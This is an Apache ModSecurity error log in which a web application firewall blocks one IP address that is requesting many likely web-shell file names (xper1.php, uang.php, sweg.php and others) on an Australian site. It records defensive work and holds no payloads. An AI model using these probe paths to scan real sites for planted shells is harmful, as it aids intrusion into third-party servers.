[Wed Apr 01 02:49:11.291092 2026] [:error] [pid 19113:tid 19137] [client 68.221.68.130:23038] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "acwXJ_XQdXnDyA4XYbYEagAAARY"]
[Wed Apr 01 02:49:11.603344 2026] [:error] [pid 52593:tid 52674] [client 68.221.68.130:22903] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "acwXJ-KOtxqtcDhRtD-h6AAAAIA"]
[Wed Apr 01 02:49:11.776610 2026] [:error] [pid 52592:tid 52661] [client 68.221.68.130:23009] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "acwXJz-61iqkPKUhqlb85gAAAA4"]
[Wed Apr 01 02:49:12.083185 2026] [:error] [pid 52592:tid 52654] [client 68.221.68.130:22936] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "acwXKD-61iqkPKUhqlb86AAAAAc"]
[Wed Apr 01 02:49:12.262911 2026] [:error] [pid 52593:tid 52681] [client 68.221.68.130:22925] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "acwXKOKOtxqtcDhRtD-h8AAAAIc"]
[Wed Apr 01 02:49:12.574822 2026] [:error] [pid 52836:tid 52893] [client 68.221.68.130:22952] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "acwXKJjk_YTY8bXnEz5vmgAAAEE"]
[Wed Apr 01 02:49:12.746104 2026] [:error] [pid 19113:tid 19139] [client 68.221.68.130:22939] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "acwXKPXQdXnDyA4XYbYEbQAAARg"]
[Wed Apr 01 02:49:13.054610 2026] [:error] [pid 19113:tid 19133] [client 68.221.68.130:22961] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "acwXKfXQdXnDyA4XYbYEcQAAARI"]
[Wed Apr 01 02:49:13.225572 2026] [:error] [pid 52836:tid 52899] [client 68.221.68.130:23066] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "acwXKZjk_YTY8bXnEz5vmwAAAEc"]
[Wed Apr 01 02:49:13.545975 2026] [:error] [pid 52593:tid 52676] [client 68.221.68.130:22989] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "acwXKeKOtxqtcDhRtD-h8QAAAII"]
[Wed Apr 01 02:49:13.708080 2026] [:error] [pid 52593:tid 52683] [client 68.221.68.130:22988] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "acwXKeKOtxqtcDhRtD-h8gAAAIk"]
[Wed Apr 01 02:49:14.027969 2026] [:error] [pid 52593:tid 52691] [client 68.221.68.130:22977] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "acwXKuKOtxqtcDhRtD-h9AAAAJE"]
[Wed Apr 01 02:49:14.185956 2026] [:error] [pid 52593:tid 52687] [client 68.221.68.130:22888] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "acwXKuKOtxqtcDhRtD-h9QAAAI0"]
[Wed Apr 01 02:49:14.511379 2026] [:error] [pid 52592:tid 52656] [client 68.221.68.130:23028] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "acwXKj-61iqkPKUhqlb86wAAAAk"]
[Wed Apr 01 02:49:14.666294 2026] [:error] [pid 52592:tid 52668] [client 68.221.68.130:22969] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "acwXKj-61iqkPKUhqlb87AAAABU"]
[Wed Apr 01 02:49:14.991769 2026] [:error] [pid 19113:tid 19128] [client 68.221.68.130:23025] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "acwXKvXQdXnDyA4XYbYEdgAAAQ0"]
[Wed Apr 01 02:49:15.148768 2026] [:error] [pid 52592:tid 52651] [client 68.221.68.130:22971] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "acwXKz-61iqkPKUhqlb87wAAAAQ"]
[Wed Apr 01 02:49:15.473646 2026] [:error] [pid 52592:tid 52660] [client 68.221.68.130:22874] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "acwXKz-61iqkPKUhqlb88gAAAA0"]
[Wed Apr 01 02:49:15.658342 2026] [:error] [pid 52592:tid 52648] [client 68.221.68.130:22869] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "acwXKz-61iqkPKUhqlb89AAAAAE"]
[Wed Apr 01 02:49:15.956321 2026] [:error] [pid 52592:tid 52661] [client 68.221.68.130:23153] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "acwXKz-61iqkPKUhqlb89QAAAA4"]
[Wed Apr 01 02:49:16.138016 2026] [:error] [pid 52836:tid 52906] [client 68.221.68.130:22854] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "acwXLJjk_YTY8bXnEz5vqwAAAE4"]
[Wed Apr 01 02:49:16.462641 2026] [:error] [pid 52593:tid 52690] [client 68.221.68.130:22850] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "acwXLOKOtxqtcDhRtD-h-QAAAJA"]
[Wed Apr 01 02:49:16.616773 2026] [:error] [pid 19113:tid 19127] [client 68.221.68.130:22944] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws78.php"] [unique_id "acwXLPXQdXnDyA4XYbYEeAAAAQw"]
[Wed Apr 01 02:49:16.944878 2026] [:error] [pid 52594:tid 52711] [client 68.221.68.130:23091] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uang.php"] [unique_id "acwXLEe53suVMS91e0RHngAAAMo"]
[Wed Apr 01 02:49:17.095683 2026] [:error] [pid 52594:tid 52721] [client 68.221.68.130:23037] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uang.php"] [unique_id "acwXLUe53suVMS91e0RHnwAAANQ"]
[Wed Apr 01 02:49:17.425759 2026] [:error] [pid 19113:tid 19122] [client 68.221.68.130:23053] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uang.php"] [unique_id "acwXLfXQdXnDyA4XYbYEeQAAAQc"]
[Wed Apr 01 02:49:17.578681 2026] [:error] [pid 52592:tid 52666] [client 68.221.68.130:22922] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uang.php"] [unique_id "acwXLT-61iqkPKUhqlb8-QAAABM"]
[Wed Apr 01 02:49:17.915510 2026] [:error] [pid 19113:tid 19138] [client 68.221.68.130:23029] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uang.php"] [unique_id "acwXLfXQdXnDyA4XYbYEfAAAARc"]
[Wed Apr 01 02:49:18.065922 2026] [:error] [pid 19113:tid 19123] [client 68.221.68.130:22960] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uang.php"] [unique_id "acwXLvXQdXnDyA4XYbYEfQAAAQg"]
[Wed Apr 01 02:49:18.396229 2026] [:error] [pid 19113:tid 19139] [client 68.221.68.130:22963] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uang.php"] [unique_id "acwXLvXQdXnDyA4XYbYEfwAAARg"]
[Wed Apr 01 02:49:18.548316 2026] [:error] [pid 19113:tid 19117] [client 68.221.68.130:22885] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uang.php"] [unique_id "acwXLvXQdXnDyA4XYbYEggAAAQI"]
[Wed Apr 01 02:49:18.875700 2026] [:error] [pid 19113:tid 19121] [client 68.221.68.130:22882] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/save.php"] [unique_id "acwXLvXQdXnDyA4XYbYEgwAAAQY"]
[Wed Apr 01 02:49:43.262348 2026] [:error] [pid 52592:tid 52648] [client 68.221.68.130:22972] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "acwXRz-61iqkPKUhqlb9LgAAAAE"]
[Wed Apr 01 02:49:43.265645 2026] [:error] [pid 19113:tid 19130] [client 68.221.68.130:23020] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "acwXR_XQdXnDyA4XYbYEygAAAQ8"]
[Wed Apr 01 02:49:43.740982 2026] [:error] [pid 52592:tid 52651] [client 68.221.68.130:22848] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "acwXRz-61iqkPKUhqlb9MgAAAAQ"]
[Wed Apr 01 02:49:43.747405 2026] [:error] [pid 52592:tid 52650] [client 68.221.68.130:22867] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "acwXRz-61iqkPKUhqlb9MwAAAAM"]
[Wed Apr 01 02:49:44.231706 2026] [:error] [pid 52594:tid 52703] [client 68.221.68.130:22868] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "acwXSEe53suVMS91e0RHzQAAAMI"]
[Wed Apr 01 02:49:44.232208 2026] [:error] [pid 52594:tid 52720] [client 68.221.68.130:22862] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "acwXSEe53suVMS91e0RHzgAAANM"]
[Wed Apr 01 02:49:44.711094 2026] [:error] [pid 19113:tid 19120] [client 68.221.68.130:22789] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "acwXSPXQdXnDyA4XYbYEywAAAQU"]
[Wed Apr 01 02:49:44.717386 2026] [:error] [pid 19113:tid 19135] [client 68.221.68.130:22993] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "acwXSPXQdXnDyA4XYbYEzAAAARQ"]
[Wed Apr 01 02:49:45.189205 2026] [:error] [pid 52836:tid 52911] [client 68.221.68.130:22870] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "acwXSZjk_YTY8bXnEz5v_AAAAFM"]
[Wed Apr 01 02:49:45.198745 2026] [:error] [pid 52836:tid 52893] [client 68.221.68.130:22859] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "acwXSZjk_YTY8bXnEz5v_QAAAEE"]
[Wed Apr 01 02:49:45.670080 2026] [:error] [pid 52592:tid 52669] [client 68.221.68.130:22866] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "acwXST-61iqkPKUhqlb9PAAAABY"]
[Wed Apr 01 02:49:45.684040 2026] [:error] [pid 52592:tid 52665] [client 68.221.68.130:23082] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "acwXST-61iqkPKUhqlb9PQAAABI"]
[Wed Apr 01 02:49:46.150759 2026] [:error] [pid 52593:tid 52680] [client 68.221.68.130:22839] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "acwXSuKOtxqtcDhRtD-iEgAAAIY"]
[Wed Apr 01 02:49:46.164163 2026] [:error] [pid 52594:tid 52715] [client 68.221.68.130:22947] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "acwXSke53suVMS91e0RH0wAAAM4"]
[Wed Apr 01 02:49:46.633519 2026] [:error] [pid 52592:tid 52647] [client 68.221.68.130:22928] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "acwXSj-61iqkPKUhqlb9QgAAAAA"]
[Wed Apr 01 02:49:46.646363 2026] [:error] [pid 52836:tid 52916] [client 68.221.68.130:23035] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "acwXSpjk_YTY8bXnEz5wAQAAAFg"]
[Wed Apr 01 02:49:47.111503 2026] [:error] [pid 52592:tid 52664] [client 68.221.68.130:22863] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sweg.php"] [unique_id "acwXSz-61iqkPKUhqlb9RAAAABE"]
[Wed Apr 01 02:49:47.157961 2026] [:error] [pid 52836:tid 52902] [client 68.221.68.130:22788] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sweg.php"] [unique_id "acwXS5jk_YTY8bXnEz5wAgAAAEo"]
[Wed Apr 01 02:49:47.589352 2026] [:error] [pid 52593:tid 52683] [client 68.221.68.130:22987] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sweg.php"] [unique_id "acwXS-KOtxqtcDhRtD-iFwAAAIk"]
[Wed Apr 01 02:49:47.640037 2026] [:error] [pid 52836:tid 52896] [client 68.221.68.130:22894] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sweg.php"] [unique_id "acwXS5jk_YTY8bXnEz5wBgAAAEQ"]
[Wed Apr 01 02:49:48.090760 2026] [:error] [pid 52593:tid 52691] [client 68.221.68.130:22904] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sweg.php"] [unique_id "acwXTOKOtxqtcDhRtD-iGgAAAJE"]
[Wed Apr 01 02:49:48.133691 2026] [:error] [pid 52593:tid 52692] [client 68.221.68.130:22818] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sweg.php"] [unique_id "acwXTOKOtxqtcDhRtD-iGwAAAJI"]
[Wed Apr 01 02:49:48.570100 2026] [:error] [pid 52592:tid 52657] [client 68.221.68.130:22880] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sweg.php"] [unique_id "acwXTD-61iqkPKUhqlb9SQAAAAo"]
[Wed Apr 01 02:49:48.616819 2026] [:error] [pid 52593:tid 52690] [client 68.221.68.130:22805] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sweg.php"] [unique_id "acwXTOKOtxqtcDhRtD-iHgAAAJA"]
